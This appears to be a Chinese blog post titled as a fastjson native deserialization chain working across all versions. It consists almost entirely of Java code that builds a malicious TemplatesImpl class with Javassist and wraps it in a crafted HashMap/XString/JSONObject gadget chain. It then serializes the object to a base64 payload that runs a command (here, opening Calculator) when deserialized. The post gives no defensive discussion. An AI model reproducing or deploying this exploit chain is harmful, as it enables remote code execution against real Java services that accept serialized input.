fastjson原生反序列化全版本通杀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
ClassPool pool = ClassPool.getDefault();
CtClass evil = pool.makeClass("evil");
evil.setSuperclass(pool.get(AbstractTranslet.class.getName()));
evil.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");
byte[] bytes = evil.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "t");
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][]{ bytes });
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

JSONObject jsonObject = new JSONObject();
jsonObject.put("t", templates);

XString t = new XString("t");

HashMap<Object, Object> hashMap = new HashMap<>();
HashMap<Object, Object> hashMap1 = new HashMap<>();
hashMap.put("Ma", t);
hashMap.put("NB", jsonObject);
hashMap1.put("NB", t);
hashMap1.put("Ma", jsonObject);
HashMap<Object, Object> hashMap2 = new HashMap<>();
Field size = hashMap2.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap2, 2);
Class<?> aClass = Class.forName("java.util.HashMap$Node");
Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass);
constructor.setAccessible(true);
Object o = Array.newInstance(aClass, 2);
Array.set(o, 0, constructor.newInstance(0, hashMap, "t", null));
Array.set(o, 1, constructor.newInstance(0, hashMap1, "t", null));
Field table = hashMap2.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(hashMap2, o);

HashMap<Object, Object> hashMap3 = new HashMap<>();
hashMap3.put(templates, hashMap2);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap3);
System.out.println(Tools.base64Encode(byteArrayOutputStream.toByteArray()));